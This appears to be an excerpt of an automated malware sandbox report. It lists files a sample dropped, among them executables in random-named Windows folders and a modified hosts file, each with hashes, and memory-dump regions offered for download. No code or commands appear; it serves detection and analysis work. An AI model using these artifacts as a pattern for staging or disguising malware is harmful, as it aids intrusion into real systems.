cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\nsyinawm\bytszzu.exe

Filesize
7.4MB

MD5
cb8a293941e9b6f5a541262797f41d61

SHA1
08b8582802e5a742ed8d3651c48be7544b2f48c2

SHA256
5c61c94d1096c66605b420336df2b9eec3884620a1f3b1c40e32bb875c5a62e6

SHA512
83ad51c77baf758b47dfe341628c316d2990bef82e0e7b2fa299b1c260778cd7057215e2ff9f0232d0ba45e111148885f8ff26e0ef59580d964dd546ef32d6fe

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\vuqibqfqb\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\vuqibqfqb\ieymcmqub\Result.txt

Filesize
1KB

MD5
d529e46fdb6af709243d57730c7c8927

SHA1
4f0ad31f0c3c49158d84fa87fe1b1d2d175065d3

SHA256
de6692a8c27f192dd3be4329b62c4d22034a115e68e76998b7c26cdffce346c1

SHA512
814bea8673055f0d3dd51d78c818eaa60408685564b066a497f0c8f2ab613d2359d65d61f0aeb3290a5bb825a78a29c5d1971b97c644bdfd40ba3915b3d55d5b

Download Submit
C:\Windows\vuqibqfqb\ieymcmqub\Result.txt

Filesize
1KB

MD5
8048dbaca248e4d11b3bfcb3083aefa3

SHA1
c3b908051dcac611b758bf55c66ee94485bbd0b6

SHA256
7b1d502216bbdb7c14a0f6fc2c8589d352ae7a3cbff8830b85384200925660ac

SHA512
1486ba193278425ae1513ba8baea939c6b6bf1a046373d65acd7e5a1bf63efd06b23a719a10341ae03ee3190c85f52a2198ea1825aab01707ca16df373b15fd6

Download Submit
C:\Windows\vuqibqfqb\ieymcmqub\Result.txt

Filesize
1KB

MD5
6a513c94267cf01f125479fefe0c0e53

SHA1
a39f054261ccc9cb47a4e324b1ab52fc1e1a5448

SHA256
1334116e8007f40a3ee2eb61d241bd779e1cd2ab3cfd2988a8eca06246438e6a

SHA512
08d1feae246acd68c8bb75d061a7c9aaaecfedbf4e9dcfa0354d93de20df038b1527da489e90360747f5ea38a140315020e3e40cdb3297d07c4754100e1fede2

Download Submit
C:\Windows\vuqibqfqb\ieymcmqub\Result.txt

Filesize
1KB

MD5
01ab5d2795e25bdbd508ad0eff8c9f52

SHA1
cbbc2e96014475f2f3ea0d4f3945bed3d6d3c33a

SHA256
8fbdabeae66d2fc90ae460f6f4a7a54848281c64249d029b380e9e35d388f7db

SHA512
dcb9e6ccf9c91c5ec6d0ff669389b5b134178d9cca3362a129e8d995371566e71e9856bcd856e18a94fee7811c7d73136e6968693b162f63be6e92b3f42a39bb

Download Submit
C:\Windows\vuqibqfqb\ieymcmqub\Result.txt

Filesize
1KB

MD5
c5b782296d273ff156c3ddf3e54f58cc

SHA1
20ad8d592030ad9c2766d4f6c3250e205fe7a6d1

SHA256
5be87a9290b8aa58f5cb73fedc8e5786034e74c91bd2fba008524a9df30cacfd

SHA512
102bf6b900e785560eed113c354bf9d1e57ff1b2975081d643c052457eab3fd68093135d262eb58727053f628f057a553b92b71fb53dbd229aac598162d2177d

Download Submit
C:\Windows\vuqibqfqb\ieymcmqub\Result.txt

Filesize
2KB

MD5
ca47abd15469e7c26a4c13db18f4e6f0

SHA1
57243fad63e3b611555ba570b5a05fb29a046f63

SHA256
d46051a61078ac56aefffee4a2e5fc456571ccff2d8b0822c450751b981ecf20

SHA512
9347398698094ff111e1a8138a88bac74d00231c2a61f957f033ca3942910717b932d63c5d962a2f5384a74e292275e1709aaf4ecdacd62196ebb0e67f68a1be

Download Submit
C:\Windows\vuqibqfqb\ieymcmqub\Result.txt

Filesize
2KB

MD5
8e1921c2eb0b708a52662d7b6e227605

SHA1
ba19dcbe0d14d9c2c1f6c6a1f2da8baf34388179

SHA256
198d1679dd87aa6c5cd1248687c398a24a75d88f8cec1d54f9c7f65a0eae4804

SHA512
d97c35598f5ec96ea7ae7b119112b6850d441986dd54ed78a97e68bca8e32554a6b81928040a12fd23e6dd611fe7d4159dd058fdabe8993905734c0e530ad5a9

Download Submit
C:\Windows\vuqibqfqb\ieymcmqub\Result.txt

Filesize
3KB

MD5
77bf9f8c168787eab183a2999b0495ac

SHA1
f22a301fc28ded87fb0fbd368d2709208fa63f55

SHA256
f3cebef755c30bc5f18f151b70c39e62656cb663d621c7c34e501ae46cf8cd26

SHA512
a778f8028293eb9fceaabaf9af7afa374ae4846b082f4604d70b1dfe1f25a28ff6336d5c85a6b56c2893ddabbd89371f9c3bc3a506ff3a2fe438b4bf2d96d3f8

Download Submit
C:\Windows\vuqibqfqb\ieymcmqub\Result.txt

Filesize
3KB

MD5
7d291ea94bb025555fbb4ad8970b880e

SHA1
d492c8a506386d34fd19e77437b5a932d290a6e3

SHA256
024552d94c29bed716bc8ebe4eaf3a1d410e8e3d216b476a68aefb6052759c63

SHA512
c29f72c23d2a8d6de3cd6272efb78b0cde53c5f947033c16065bc476da5f62f29e5ce811b1029f26f1f6ce6ad01ecff2cb25639a38db23e7241d68f5f664e142

Download Submit
C:\Windows\vuqibqfqb\ieymcmqub\Result.txt

Filesize
4KB

MD5
72edb3b93e349ec3222d12c439b3853a

SHA1
2f151904e6f071d17c9300673d2cb4d057dcac7d

SHA256
a37c0ef6ef301bedfdf09b1de06b4d3b7ecba4ff7cf39bde7d5c7ded87ee86ee

SHA512
9256992b884f8ae3d329513e0cb55d8252402321d011a738928e53b76b1a42cdf20df2bcc9b5d7dbe9ff8d59e745f0926466e246fe9efd7e0e4486d8925e8a8f

Download Submit
C:\Windows\vuqibqfqb\ieymcmqub\hbnqbyuem.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\vuqibqfqb\ieymcmqub\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
memory/212-204-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/220-234-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/916-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/916-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/1264-160-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1264-143-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/1616-237-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/1856-229-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/2116-191-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/2176-231-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/2328-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/2644-208-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/2700-169-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/2764-178-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/3248-213-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/3412-195-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/3448-78-0x00000000010A0000-0x00000000010EC000-memory.dmp

Filesize
304KB

Download
memory/3584-222-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/4116-200-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/4300-187-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/4344-155-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/4344-158-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/4376-183-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/4400-217-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download
memory/4796-247-0x0000000000A70000-0x0000000000A82000-memory.dmp

Filesize
72KB

Download
memory/4980-248-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/4980-498-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/4980-757-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/4980-219-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/4980-166-0x0000023D3A9C0000-0x0000023D3A9D0000-memory.dmp

Filesize
64KB

Download
memory/4980-163-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/4980-176-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/4980-232-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/4980-755-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/4980-500-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/4980-210-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/4980-197-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/4980-497-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/4980-180-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp

Filesize
1.1MB

Download
memory/5060-135-0x00007FF681E60000-0x00007FF681F4E000-memory.dmp

Filesize
952KB

Download
memory/5060-137-0x00007FF681E60000-0x00007FF681F4E000-memory.dmp

Filesize
952KB

Download
memory/5088-173-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp

Filesize
364KB

Download